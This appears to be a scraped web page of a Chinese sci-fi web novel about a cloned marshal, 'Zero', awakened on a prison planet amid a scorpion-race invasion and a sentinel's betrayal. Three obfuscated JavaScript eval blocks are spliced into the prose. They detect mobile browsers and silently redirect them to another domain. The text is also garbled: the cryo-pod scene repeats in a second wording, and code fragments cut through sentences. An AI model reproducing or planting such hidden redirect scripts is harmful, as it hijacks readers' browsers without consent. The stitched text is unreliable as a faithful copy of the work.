《转职哨兵后风靡全星际》 1. 茧 椭圆形的冷冻舱矗立在漆黑一片的大厅正中央,粗细不一的管道如同盘根虬结的血管攀附着舱体,聚光灯下,舱体中的人戴着半透明的面罩,双眼紧闭,漂浮在浅蓝色的冷凝介质当中,无数用来检测生命体征的金属贴片吸附在他那健美修长的身躯上,就如同一个巨大的茧。 “这就是他。” 米兰达的眼瞳中倒映出沉睡在舱体内的青年。 透明面罩下的他有着一张完美到不似真人的英俊面庞,一头银白的发丝飘荡在凝液当中,如同沉眠于深海的塞壬般精致得令人挪不开眼。 这就是二十年前在穆玛星战役中与外星蝎后同归于尽,壮烈牺牲的联合军五星元帅,人类最强的精神觉醒者,道恩·雷蒙德。 确切地说,是他的亚人克隆体,代号“零”。 在出发远征之前,为了以防万一,元帅留下了自己的克隆体,如果发生了什么意外,他的记忆会被上传到这个克隆体当中重生。但后来不知为何,这个克隆体一直处于休眠状态,没有被启用。 直到今天。 所有人都以为前方战势大捷,只有米兰达知道,银河系已经到了生死存亡的时刻。 情势紧迫,他们没有任何犹豫的时间。 联合军需要“战神”复生。 否则,人类将陷入万劫不复之地。 …… 一小时前: 女神星,这是全亚联盟在位于距离地球约250万光年外的骷髅星云内发现的一颗不起眼的类地行星,这里常年被强电磁辐射覆盖,从星球那漆黑的天际线抬头仰望,能够看见高能电磁粒子形成的缠绵悱恻的粉色”极光“,看起来就如同女神的裙摆。 但和这个梦幻优雅的名字不同,这里其实是一颗监狱星。孤立的星体和频繁的电磁风暴让这里成为了天然的牢笼,无数重刑犯被押解到这里成为了开采能源矿石的劳工,留在这个贫瘠的终末之地直到老死。 现在正值女神星的冬季,皑皑白雪覆盖着漆黑的矿场,驾驶着采矿车的劳改犯们身上穿着单薄的辐射隔离服,表情麻木地做着每日的劳工。 嗡嗡—— 突然出现的狂风和强烈的电磁噪音让所有人抬起头来,望着天穹上那穿越陨石带,缓缓降落的碟形飞船。 “是不是补给船到了?太好了,老子终于不用吃那干巴巴的黑面包了,希望这次能多来点水果罐头。” “别做白日梦了,现在是电磁风暴季,就连采矿船都已经两个月没来了,你以为上头会冒着这么大的风险给我们这群犯人送补给?” “那能是什么船?难不成是有新的囚犯被押解过来?” “该不会是什么大人物要来视察吧?” “视察?” 一声低笑从频道内响起。 “哪个大人物会来视察这个鸟不拉屎的地方?” 在矿穴背面的避风处,一道火光亮起,留着络腮胡的中年男人倚着采矿车的轮胎,抬起面罩,叼住了手中点燃的香烟。 “老刘你疯了,在这里抽烟,要是被狱警看到怎么办?” 作为已经在女神星待了二十多年的老油条,被称作老刘的中年男人神态自若,叼着烟的嘴角抖了抖,吐出几个字。 “你们没发现,今天矿场一个管事的都不在吗?” “咦?确实,那些狱警都到哪里去了?” “老刘,你是不是知道什么?” 烟蒂的火光明灭,老刘眼神沧桑,半眯着眼睛,视线循着天际上留下的痕迹,看向飞行器降落的方向。 那里有一座高耸的漆黑高塔,是整个女神星最高的建筑,位于监狱的最深处。 “那艘飞船是联合军最新的军用飞行器‘鲲十四’。”老刘吐出口中的烟圈,缓缓说着,“来的确实是大人物,但……目的肯定不是视察。” 星历100年,银河系遭遇河外文明“蝎族”入侵,人类遭遇了史无前例的灭族危机,为了抵御外敌,科萨帝国与全亚联盟两大政体结束了漫长的内战,建立联合政府,倾力打造了一支能够在外太空作战的特殊军队——地球联合舰队,也就是所谓的“联合军”。 老刘犹记得,早在二十年前,联合军的飞行器‘鲲十’也曾经飞抵女神星,自那以后,那座黑塔便被划为了禁地,24小时有重兵把守。有传言说,那里关押着一位危险残暴的星球级要犯,之所以戒严黑塔,就是为了防止这名要犯逃脱。 也就是那一年,时任联合军元帅,那位战无不胜的“战神”,被称为“人类最强向导”的指挥官道恩·雷蒙德,在决战蝎后时与其同归于尽,享年三十七岁。 道恩·雷蒙德十七岁参军,二十二岁挂帅,战功彪炳,无人不知无人不晓,身为科萨帝国与全亚联盟的混血,他就是团结的象征,民心之所向。 也正因如此,在他死后,联合军内部迅速分裂——旧帝国裔与旧联盟裔的派系为争夺蝎族母星“穆玛星”的资源,爆发了长达十年的内战。曾经万众一心的伟大保卫者,转眼却成了各自为营的贪婪掠夺者,直到星历130年,虫洞坍缩,人类与穆马星之间的通道断开,内战才告一段落。 今年已经是星历140年,也是元帅逝世的二十周年。就在前不久,军部宣布他们已经在超远距离人工虫洞的技术上有所突破,成功建立了通往穆马星的通道,即将集中兵力再次向蝎巢发起总攻,争取一举剿灭所有蝎族,杜绝新的蝎后再生,蝎族再次为患的可能。 名号虽然打得光明磊落,但这场“正义之战”的背后,究竟藏着什么目的?就无人知晓了。 “0217号,您已经在原地停留超过15分钟,请注意劳逸结合,尽快开始工作,否则我将会上报你的怠工情况。” 烟蒂上摇曳的火光被一只机械手指中伸出的微型操作钳掐灭,老刘转过身,看向身后那巨大的阴影。 那是一架大约五米高的人形机甲,它的漆面是沉稳的墨绿色,肢体看起来有些笨重,面部棱角分明,是最经典的人形机甲的设计。 这是一台退役的“天兵”级机甲,是联合政府成立初期研发的第一代人形机甲,彼时精神连接技术还不成熟,“天兵”必须通过驾驶员手动驾驶,在更加先进的精神连接式机甲“天将”系列被发明出来之后,这批可操作性不强的手控机甲就被全部淘汰了。 机甲造价昂贵,要将他们全部报废显然有些暴殄天物,好在这些机甲所装载的AI模型用来做其他事也是绰绰有余,在被卸除了大规模杀伤性武器之后,经过改装的天兵机甲就流入了公共系统当中,成为了各类功能型机器,例如——担任一名在恶劣环境下看守重刑犯的机械狱警。 “是你呀,小绿。” 老刘慢吞吞地放下面罩,将采矿车发动起来。 “别着急,我就是休息会儿喝口水,在干活了,在干活了。” “请容我提醒,从制造年限和体型大小来看,您称呼我为小绿,是不合适的。”机械狱警的模拟声线听起来像是一个二十多岁的青年,语气有些死板。 “那叫什么,老绿?多难听啊。” “我有自己的名字,我叫——” “哎,我又不是你的驾驶员,记你名字干什么,叫你小绿就行了嘛,好记。” “……” 墨绿色机甲的视觉传感器收缩了一下,目视着采矿车晃晃悠悠地往前开,没再说话。 …… 女神星监狱接驳通道A区,狱警们在飞行器前方的空地上列队,在队伍最前方的赫然是监狱最高负责人,典狱长麦克·柯林斯。 飞行器底部响起气阀启动的声音,舷梯缓缓落下,一个穿着蓝黑色军装,身材高挑的金发女人从船舱内缓缓走出来。 在她的身后还紧跟着一个高大强壮的青年,他留着一头斑驳的灰色狼尾,穿着联合军机甲部队专用的蓝黑作战服,脖颈戴着一个黑色金属项圈,项圈中央挂着一个硬币大小的金色铭牌,上面有激光雕刻的徽章,交叉的双剑拱卫着一颗画着经纬线和七大洲轮廓的球体,那是地球联合军的军徽。 在他行走间,铭牌被调转过来,露出了反面中央的另一个符号。 那是个罗马数字:VI. “女神星监狱典狱长麦克·柯林斯,见过基茨少校!”麦克朝着女人敬礼。 “米兰达·基茨,联合军第六集团军机甲部队A级向导。”女人回了个军礼,她的声音如她本人一样干练,“这是我的哨兵,六号。” “这就是大名鼎鼎的S级哨兵……” 麦克看向女人身后的高大青年,他的身高大约有一米九,几乎要比自己高出半个脑袋,身材魁梧,表情冷淡,即便被两人提及,眼神也却没有产生任何漂移,只是面无表情地注视着前方。 像是一具人形机器。 蝎族是一种能转变为高维量子态隐身的外星怪物,必须驾驶特制机甲才能侦测到它们,但这种机甲发出的探测波会对人脑造成不可逆的损害,导致驾驶员的寿命急剧缩短,只有极少数人的大脑会在过程中产生二次突变,觉醒精神力,成为能够长时间驾驶机甲的人类战士,也就是“向导”。 但向导的觉醒极其不可控,而且牺牲的速度远超过产生的速度,随着战争愈演愈烈,向导的数量逐渐下降至两位数,而精神力级别在A级及以上的更是只剩下个位数。 为了解决这个困境,二十五年前,一位名为凯里安的实验员通过基因编辑技术将雄性兵蝎的基因片段与人类融合,创造出了一种“亚人”。这些“亚人”天生拥有远超常人的体魄和强悍的精神力,在生长剂的作用下仅需几年时间就可以从胚胎长到成年体,几乎是天生的机甲战士,现在,联合机甲舰队中亚人的数量已经超过七成,他们通常担任的都是需要深入前线侦查战斗的高危工作,被称之为“哨兵”。 虽然哨兵数量众多,但只有极为罕见的能力突出者,才会被赋予“S”的评级。联合军中的S级哨兵有且仅有六名,分属六路集团军。第一到第五军团都常年在前线战斗,唯有第六军团留守联合军总部——巨型太空堡垒“洪荒号”。 而此刻,属于第六军团的杀手锏——这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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巨大的椭圆形冷冻舱矗立在漆黑一片的大厅中央,粗细不一的管道如血管一般攀附在舱体表面,聚光灯照亮了在浅蓝色的冷凝介质中漂浮的身影—— 银发青年戴着半透明面罩,双眼紧闭,修长的身躯被黑色的紧身休眠服包裹,皮肤上吸附着无数用来监测生命体征的金属贴片,就如同一个孵化中的茧。 这就是零号,道恩·雷蒙德的亚人克隆体,最初的亚人,所有哨兵的起源。 早期的亚人实验品非常不稳定,在诸多实验体中,只有道恩·雷蒙德的基因能和雄性蝎族的基因片段稳定融合,零号因此诞生,成为了后续所有哨兵的基因蓝本。 尽管如此,零号从未被真正唤醒过,在那场大战后,更是被彻底抹去了存在的痕迹,以星球级战犯的名义运送到女神星,在这座密不透风的黑塔当中被冷冻了整整二十年。 雷蒙德元帅去世时已经接近不惑之年,但冷冻舱中的哨兵看起来才二十岁左右,正值一名战士的实力巅峰期。 如果蝎族就此被成功剿灭,这位零号哨兵或许会被永远遗忘在这暗无天日的黑塔之上。 但现实却恰恰相反。 蝎族女王提前转生复苏,并孕育出了一种精神控制类的亚雌蝎种,在联合军围攻时一举反控了编号前五的所有S级哨兵。 战势瞬间颠倒,人类节节败退,银河系战略防御体系“星链”中的五大太空城陆续沦陷,唯一还在负隅顽抗的,就只剩下总部洪荒号。 在收到战报的第一时间,米兰达就被临危受命,在大军的掩护下乘坐鲲十四来到女神星。 她的任务只有一个,必须不惜一切代价执行—— 唤醒零号。 “唤醒他。”女人一声令下。 “是。”麦克走到一旁的操作面板前,输入密钥,然后摁下了解除冷冻的鲜红按键。 【正在解除深度冷冻,苏醒剂已注入,舱体温度调节中……】 扬声器里传来辅助AI那毫无起伏的声音。 一旁的温度计上,那根深蓝色的指针正在以肉眼可见的速度上升。 零下100度,零下80度,零下60度…… 眼看休眠舱温度即将来到零度,米兰达偏过头,看向一旁的心率检测仪,那里依然是一条直直的长线,直到某一刻起,长线的尽头忽然出现了一个微小的起伏。 异变就是在这时出现的。 “呃!” 一阵剧痛从心脏处传来,米兰达的瞳孔骤然收缩,她低下头,看着那穿透自己胸口的染血手掌,脸上露出了不可置信的神情。 “六号……你……” 她艰难地扭过头去。 “很意外吗?” 六号的眼神一如既往的毫无波澜,他歪过头,坦然地看着身前的女人,嘴角勾起一抹冷漠的弧度。 “既然知道其他五名S级哨兵都已经被女王控制,你凭什么认为,我会是个例外?” 2. 破茧重生 米兰达的嘴唇颤抖着,她的视线落在自己的掌心,指尖无力蜷缩,似乎是想抓住什么。 但哨兵与向导的力量太过悬殊,即便她再怎么努力,也不过是无谓地挣扎。 “米兰达·基茨。”六号灰绿色的眼眸中流露出几分轻蔑,“很遗憾,从现在开始,我不再是你的‘资产’了。" 他倏地抽出了手臂。 血花四溅,米兰达的身体如纸片般晃动了一下,眼中失去了光点。 嘀—— 检测到宿主的生命体征消失,米兰达的光脑上亮起了鲜红的指示灯,与此同时,六号的项圈上也亮起了一圈红线,那是在向导死亡同时启动的哨兵自毁程序。 凌厉的电弧光从后颈的电磁激发器中迸发出来,六号的腮肌蓦地绷紧,脖颈上爆出几根鲜明的青筋,重重跪倒在地上。 但在彻底失去行动力前,他如同早有准备一般猛地攥住了米兰达的左手手腕,将女人戴在手上的光脑连同腕骨一并捏得粉碎。 骨裂声中,光脑化作一地碎渣,颈环爆发出的电流戛然而止。 六号的身体陡然放松下来。 电击在他的皮肤上留下鲜红色的皲裂纹路,让那原本英俊的面孔变得有些狰狞,但他却恍若未觉,只是松开女人扭曲粉碎的手腕,缓缓起身。 “不许动!!!” 目睹了哨兵突然发难,典狱长麦克从腰后抽出神经脉冲枪,对准了六号的眉心。 这是联合军研发出来的高科技精神攻击级武器,能够让精神力低下的普通人也发出A级向导级别的精神攻击,每一枚子弹都造价不菲,是麦克托关系才弄来的,本想着是以防万一用来抵抗蝎族入侵,没想到现在却用来对付起了自己人。 面对直指眉心的枪口,六号却不以为意,神色淡淡地继续往前走去。 见警告无效,麦克立刻扣下了扳机。 一股蓝色的强光从枪口迸发出来,细看去,那是成千上万交杂在一起的神经脉冲聚拢在一起形成的光束。 蓝光精准地击打在灰发哨兵的前额上,渗入他的脑回路,直冲哨兵的精神域,但却在触及那儿的同时遭遇了另一道力量,如同碰壁一般震荡着逸散到了四周。 六号的脚步停了下来,哼笑一声,他吹开嘴角沾染着向导鲜血的发梢,挑衅般地看着他,像是一只注视着落单的猎物的孤狼。 “怎么回事……你没了向导怎么可能还能挡住A级精神攻击……” 麦克瞪大了眼睛,握着枪的手臂微微颤抖。 作为未觉醒者的他看不到哨兵精神域中发生的变化,也不知道是什么阻挡了他的精神脉冲弹,他试图再次扣下扳机,但在那之前,攻击对象已经消失在原地,麦克只感到一只沾满了献血的手掌抓住了自己的下颚,下一秒,耳旁传来了颈骨断裂的一声脆响。 咔嚓—— 六号松开手,任由身前的典狱长无力的尸体摔落在地,然后转过身去,看着休眠舱中的青年和一旁的生命体征仪上逐渐恢复的曲线,抬起血淋淋的手敲击耳垂,唤醒了隐形耳麦。 “我这边已经快结束了。” “做得很好,六号。主宰神经蝎已经植入了吗?”耳麦中传来一声冷静的询问。 “正准备。” 六号从制服内袋取出了一个透明的玻璃管,在玻璃管内,一只诡异的生物正在管壁上缓缓爬动,它看起来有些像地球上名为“蜈蚣”和"蝎子"的两种传统生物的结合体,但体型更加修长,尾部微微翘起,尾勾在灯光下是妖异的鲜红色。 主宰神经蝎——微型寄生蝎,S级亚雌蝎。 这就是刚刚阻挡了A级神经脉冲攻击的东西。 哨兵天生拥有强大的力量,早期曾发生过暴走事件,为了更好地控制他们,所有二代哨兵都被人为设计出了基因缺陷,他们无法自行建立精神壁垒,必须绑定一位向导作为精神锚点,否则就会因为过于敏锐的五感而变得狂躁,无法自控,最后彻底暴走。 而主宰神经蝎却可以让哨兵摆脱向导的控制,它可以寄生在哨兵大脑脑脊液中,与其神经元突触融合,从而阻断哨兵与向导之间的精神链接,代替向导为哨兵建立精神壁垒。 不仅如此,主宰神经蝎还可以远程传递蝎后的思维电波,操纵哨兵的行动,这也是六号现在要做的事情——趁这位零号哨兵还没有苏醒,先用主宰神经蝎控制住他。 “小心点,初代哨兵的实力没有经过基因锁削弱,他比我们都要强……” “慌什么,他还没醒呢。”六号不以为意道。 【休眠舱温度已调节至室温,正在注入唤醒剂,预计目标对象将于注射唤醒剂后十分钟醒来。】 【警告,舱室正在泄压。】 AI控制系统的提醒在空间内回荡着,六号在屏幕上操作着,开启了休眠舱顶部的密封阀,然后用拇指“啪”地一声顶开玻璃管的上盖,将它丢了进去。 哗啦,半透明的玻璃管落入了蓝色的冷凝液中,黑色寄生蝎从管口游了出来,在已经恢复了常温的冷凝液中摆动着自己密密麻麻的多足和尾部,朝着漂浮在舱体中央的银发哨兵的左耳游去。 站在舱前的六号双手抱臂,冷冷看着透明玻璃后的那位休眠中的哨兵。 除了这位从未被启动的零号以外,联合军共有六名S级哨兵,代表了整个联合舰队最顶尖的战斗力,再加上这位始祖级别的初代哨兵,他们联合在一起的力量,足以让人类陷入深渊。而蝎族将再次站在胜利之巅,正如同它们曾对其他星球所做的那样,用寄生与奴役,将地球上的人类和那些附属星球,变成它们的殖民地。 眼看着那寄生蝎已经游到了休眠中的哨兵耳垂上,六号眯起眼睛,嘴角溢出一声不屑的轻笑。 胜利,易如反掌。 就在此时,一旁的生命检测仪忽然发出刺耳的尖叫,漂浮在舱体内,本该毫无所觉的银发青年蓦地睁开眼,冰蓝眼瞳迸发出犹如实质的利芒。 咚! 黑色寄生蝎被人一巴掌拍在了舱壁上,直接碾成了肉泥,青色的血液飘散在冷凝液中,六号猛地凝神,扭头看向那舱壁上逐渐扩大的裂痕,条件反射地朝后方暴退而去。 下一秒,骤然破裂的舱体伴随着喷涌而出的冷凝液朝着外侧飞溅,一道凌厉的拳风直冲下颌骨,将六号直接击飞,重重地撞到了电梯闭合的厢门上,特质的合金厢门发出咣当一声巨响,向内凹陷下去。 一双潮湿的苍白脚掌踩在了漆黑的哑光地砖上。 撞破冷冻舱的银发青年缓缓直起身体,单手拽住挂在自己颈侧的呼吸面罩,连带着那些吸附在身体上的感应贴片一起用力扯开,丢在地上。 他如同刚从深度休眠中惊醒的野兽,用警惕而又冰冷的目光打量着四周的一切。 “嗬……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706352|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的胸膛起伏着,喉中发出沉重的喘-息声,每一次呼气都有一团白森森的水雾从唇间溢出。黏腻的冷凝液从那冷白的眼睫和健美的身躯上滴滴答答地流下,黑色的休眠服紧贴着皮肤,在灯光下发出一种膜状的光泽。 “呸!” 六号朝着一侧吐出自己碎裂的半颗牙齿,脸色沉了下去。 “他醒了,主宰神经蝎植入失败。”他对着耳麦另一头说道。 “启动B计划,说服他加入我们。”耳麦另一头传来冷静的指令。 “……可是他刚刚打掉了我的牙。”六号从地上缓缓爬起来。 “别太小题大做,六号。”那道声音变得有些紧绷,“我们都是同伴。” “小题大做?”六号用舌尖顶着肿痛的口腔内侧,活动了一番脖颈,眼神桀骜,“以牙还牙,这是常识。” “……别冲动,六号,你打不过他。” “呵,我一个S级,难道还对付不了一根休眠多年的老冰棍?” “你对他的力量一无所知——” “闭嘴,二号。” 灰发哨兵反手一拳将本就变形了的电梯板砸的更加凹陷了下去,他的小腿肌肉猛地绷紧,一蹬地面,朝着不远处的银发青年一跃而起。 “我不需要你教我怎么战斗!” 六号举起拳头,他的速度极快,拳头挥出时发出清越的破风声,肉眼几乎无法捕捉他的行动轨迹。 而零号哨兵还静止在原地。 他调节着自己的呼吸,刚刚从休眠中被唤醒的大脑中满是混乱的记忆,恍惚间,耳边仿佛依然萦绕着蝎后死亡时发出的锐鸣和那黑压压的雄蝎足肢翕动的声音,眼前依然闪烁着在炮火连天当中坍塌的巢穴当中无数的外星蝎尸体,鼻尖依然弥漫着那股铁锈一般的血腥味。 可这些幻象正在如潮水般飞快地褪去,取而代之的是眼前这陌生的一切。 陌生的环境,陌生的敌人,陌生的……自己。 零号低着头,从光亮如鉴的地板上看见了自己的模样。 银白的头发,浅蓝的眼眸,一张过分年轻的面庞,黑色紧身服包裹着强壮的身躯和修长的四肢。 像是一个截然不同的,全新的自己。 他应该已经死了,死在了穆玛星。 他记得那种粉身碎骨般的疼痛,他的机甲严重受损,护盾能量已经告罄,蝎后死亡时的尖啸吸引了无数雄性兵蝎不顾一切蜂拥而至,在那种数量级的敌人围攻下,他绝无可能坚持到援军到来。 无妨,蝎后已死,他完成了自己的使命,死而无憾。 但是现在,却有人将他从永恒的长眠中唤醒了。 零号抬起右手,试探性地握了握拳。 指尖传来前所未有的力量感。 他不再是那背负着人类命运的首席向导,而是成了…… 一名……哨兵? 伴随着破空声响起,一道凌厉的拳风已然袭至头顶。 零号蓦地抬起眼帘,直直望进了袭击者的眼底,穿过那密密麻麻的大脑神经,锁定了那攀附在六号的脑神经上的寄生蝎。 那熟悉的尖锐尾勾,令人排斥的足肢,丑陋的甲壳……无论怎么看都是他那命中注定的死敌——蝎族。 银发青年眯了眯眼,高挺的眉骨下,那双泛着寒光的冰蓝眼眸犹如淬火后的钢刃,骤然变得锐利无比。 3. 初代机甲,合体! 嗡—— 精神域受到的冲击让六号的动作骤然停顿,下一秒,一只湿漉漉的大手抵住了他的拳头,反拧住他的手腕,将他掀飞到空中,狠狠砸进地里。 胸膛中传来肋骨断裂的脆响,六号发出一声闷哼,隐形耳麦从耳中掉了出来,滚入了地砖裂开的缝隙中。 “该死……” 他用手掌支撑着地面,正准备从地上爬起,一只赤倮苍白的脚掌突然踩住了他的后颈,将他堪堪抬起的下颌骨重新揳进了地里。 砰! 下颌骨与地砖相撞的闷响震得六号耳膜发颤,破碎的锋利石砾划破了他的脸颊,一股血腥味顿时充斥着鼻尖。 "你是……S级哨兵?" 头顶传来了一声疑惑的评价,语气比起轻蔑,更像是单纯的诧异。 零号脚踝上残留的冷凝液顺着六号的后颈流向他的侧颊,湿冷粘稠的液体和伤口的血混杂在一起,在灰发哨兵的嘴角蔓延开生涩的铁锈味。 疼痛、羞耻、挫败。 从出生以来从未有过的强烈情绪侵蚀着六号的神经,他的眼球变得赤红一片,十指拱起用力抠住地面,肩胛肌肉绷紧,挣扎着想要从零号的钳制中起身。 可即便他已经用力到青筋爆起,也依然无法从零号的脚掌下挣脱。 “可恶……”六号的心情变得更糟糕了。 “怎么,不喜欢这个姿势?那就换一个。” 后颈的脚掌忽然移开,那迫人的压力刚刚松懈,后脑的发梢便被人薅住,连带整个上半身被强行向后抬起,脖颈后仰到了极限,过于粗暴的力度让六号有一种下一秒就会被拗断颈骨的错觉。 “六号……”零号拽起挂在对方脖颈上的铭牌,用一种微妙的语气喊出刻在上面的编号。 “不是让他们留着这个编号的吗?”银发青年的语气有种久居上位者的云淡风轻,“六号是我养的小狗的名字。” “……你!”六号的脸上露出几分怒意。 一股强烈的痛感从大脑深处传来,六号的怒吼变成了低吟,在他的精神域深处,攀附着主宰神经蝎的那片脑域突然如同被火燎了一般传来强烈的痛感。 零号早已透过向导特殊的感官“思维触丝”感知到了六号大脑中的异物。 他回想起在自己尚未完全恢复行动力之前对方向休眠舱里丢的东西,嘴角往下降低了几毫米。 他摩挲着掌心中那枚圆形的铭牌,语气莫测。 “小崽子,能否向我解释一下,你的脑子里,为什么会有一只蝎子?” “你说谁是小崽子?!”六号挪动眼珠,死死瞪着身旁的银发青年,口中哼哧哼哧地喘息着。 怎么回事,零号不应该和他们一样是哨兵吗?为什么他会拥有向导的精神攻击能力? 主宰神经蝎的精神屏障能够屏蔽A级及以下的精神类攻击,那岂不是说,零号能够发动A级以上的精神攻击? 可这怎么可能? “你都叫我老冰棍了,我为什么不能叫你小崽子呢?” 零号的双眸亮起了幽幽的蓝芒,在高维空间中,无数纤细如针的思维触丝从他的后颈延伸出来,刺入了六号的太阳穴,径直来到那节攀附着寄生蝎的脑神经旁,将其团团围住。 “竟然放任一只蝎子主宰你的思维,S级哨兵,你的自尊心呢?” 漂浮在寄生蝎身体旁的思维触丝骤然从柔软的游须伸直成锐利的尖刺,朝着中央的黑色蝎体刺去。 吱—— 意识深处传来了主宰神经蝎痛苦的尖啸,连接着哨兵大脑神经的尾勾颜色变得愈发鲜红,将同样的痛苦传递到六号的精神领域里。 “呃啊啊啊——” 六号意识到自己不能够坐以待毙,他强忍着大脑快裂开的疼痛,喊出了自己的机甲核心的名字。 “梼杌,合体!” 话音刚落,六号腰带中央镶嵌的灰色晶石骤然亮起一道银光,流动的液态纳米金属从其中蔓延开来,在短短的十几毫秒的时间里便覆盖了他的全身。 那是一头形似猛虎的钛灰色机甲,四肢被改造成了锋利的合金利爪,尾部则是一条由铰链连接的钢铁长鞭,末端装有尖锐的倒钩。此时此刻,那锋利的长尾在空中甩动了两下,便顺着操控者的心意朝着在他身后的青年袭去。 在梼杌袭来的刹那,零号薄唇微启,似乎想说些什么,可随即却又看向空荡荡的指尖,眉头一皱,迅捷地翻折身体向后仰倒,避开了那机甲尾部的尖刺。 他的闪避让操控着梼杌机甲的六号有了机会摆脱钳制。在脱身的瞬间,四肢着地的兽形机甲瞬间原地弹起,机甲的背部朝两侧裂开,一台六边形蜂巢状粒子激光炮升了起来,炮口冒出了灼眼的蓝光,一炮轰了出去。 轰!!! 突如其来的巨响让矿区的所有犯人登时停下了动作,朝着远处抬起了头。 只见不远处的黑塔顶部不知何时出现了一个不规则的大洞,边沿的断面中露出的弯曲钢筋呈现出一种可怖的红热融化状态。 洞内,一架四肢着地的虎形机甲双目冒着猩红的凶光,后背竖起的粒子炮口的蓝光还未完全退散。 震耳欲聋的警报声顿时拉响,红色的警示灯和高压电网同时被激活,整座女神星监狱陷入了最高警戒状态。 【警告!监测到高动能热武器攻击!请所有犯人立刻回到牢房,激活所有机械狱警。】 大地震颤着,正在搬运矿石的犯人们惊慌地看着监狱的大门豁然洞开,密密麻麻的黑色机甲从里面走出来,打开腿部推进器,拖曳着一条红光朝着黑塔顶端飞去。 矿区,墨绿色的机甲同样也目睹了那发生在黑塔的一幕。 在它的任务队列当中,监督正在从业中的犯人的任务事项优先级被调节到最低,取而代之的最高优先级事项为“制服入侵者”。 但又没过两秒,一则新的任务事项忽然凭空出现,一经出现,就被标红加粗,高亮置顶在了所有任务项上方。 【监测到适配精神波段,是否发起传送?】 适配精神波段…… 机甲无时无刻不在运转的能量核心停滞了一微秒,随即微微震颤起来。 每台机甲在认主后都会被配置驾驶舱密钥,唯有和密钥的波段吻合的精神力才能够开启传送,既然有人放出的精神力波段与它的密钥相适配,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706353|173545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么无论他是谁,此刻,他便只有一个身份—— 它的主人。 这怎么可能? 它只有一个主人……但那个人应该已经不会回来了……在这么多年之后,它几乎已经接受了自己会在这个荒芜的星球上作为一名籍籍无名的机械狱警迎来最后生锈报废的命运。 难道说…… 机甲的AI人格模拟数据产生了一些冗杂的乱流。 它看向那发出讯号的光点,视觉单元快速调整,将对焦的画面瞬间分放到最大。 讯号来自从黑塔坠落的砖块和岩石当中,在那些砖块瓦砾当中,似乎还有个不起眼的黑色人影。 …… 炙热的炮火落在身后,冰蓝色的眼瞳中倒映出袭至眼前的利爪,急速坠落中的银发青年以一个不可思议的姿态在半空扭转,躲开了梼杌那锋利的爪刃,身体后翻落在了一块坠落中的不规则石砾上,然后借力往一侧跳开,落在了黑塔光滑的外立面上,后背贴紧墙面,顺着那接近九十度垂直地面的陡坡快速下滑。 下一秒,一台钛灰色的兽形机甲落在了他刚刚经过的地方,四肢固定在黑塔外立面,机甲的肩膀上装载的霰-弹枪竖起了矩形的组合式枪管,密密麻麻的子弹朝着下方的攻击对象径直飞去。 子弹的动能远比自由下坠的速度要快,很快,那些夺命的子弹就追逐上了零号的后背。 在机甲的驾驶舱内,六号眯起眼睛,双眼紧紧盯着视野当中即将被子弹命中的零号,可就在某个瞬间,银发青年的身影却诡谲地晃动了一下,随即消失了。 轰—— 烟尘四起。 梼杌跃到地上,扬起脑袋对着刚才击打的位置附近展开了全方位无死角的扫描。 可无论是纯视觉,红外还是激光雷达,都没有找到任何活人或者尸体留下的痕迹,只有被打成了蜂窝状的黑塔外立面,还在簌簌往下掉着尘屑。 …… “紧急传送成功。” 一板一眼的男中音在耳旁响起,零号睁开双眼,明亮的悬浮屏幕出现在了他的面前,中央有一个三维扫描的人形,上方标注着他的身体参数。 “您当前体表温度为26摄氏度,体温偏低,呼吸频率异常,经分析可能为轻度低温症,正在调整驾驶舱温度,开启座椅加热模式。” 身体陷入曲线贴合的座椅当中,椅背倾角与扶手高度自动调节,全景增强现实面罩落下,几条生命体征检测线从椅子后方绕过来,隔着黑色紧身衣贴上了他的左胸和上臂,像是几条纤细的触手,将他紧紧包裹。 “欢迎回来,主人。” “……” 银发青年抬起指尖,抚摸着面前的操作台,积压的浮尘被抹去,角落的一排激光铭文暴露出来。 『TB001』 天兵一号。 那是联合军在刚刚成立不久时,为了抗击蝎族而研制的初代机甲“天兵”系列的第一台实验机型。被分配给了当时刚刚参军两年,却已经在舰队崭露头角的王牌机甲驾驶员——十九岁的道恩·雷蒙德。 或许是命运使然,已是迟暮之年的退役机甲与它死而复生的主人再度重逢了。 4. 横空出世,莽昆仑,阅尽人间春色 久违的编号唤起了尘封的记忆,零号眯起眼,脑海中,一些往事涌了上来。 星历102年,银河系保卫战第三年,也是在道恩·雷蒙德十九岁那年: “听说军部研发出了专门对付蝎族的机甲,可以看到潜行状态的敌人,上午赛尔和柯林斯他们都去试过了,可高级了,我下午也要去——哎,道恩,你没去试驾吗?” 军部食堂,几名人高马大的机甲训练兵拿着餐盘来到长桌上,围坐到了正在独自用餐的银发青年身旁。 刚刚训练完的士兵们身上都带着一股热气,许多都脱下了身上的外套围在腰间,甚至直接将衣服搭在肩上,而被点名的银发青年则穿着一身深蓝色的训练服,拉链一直拉到了锁骨位置,着装尤为规整。 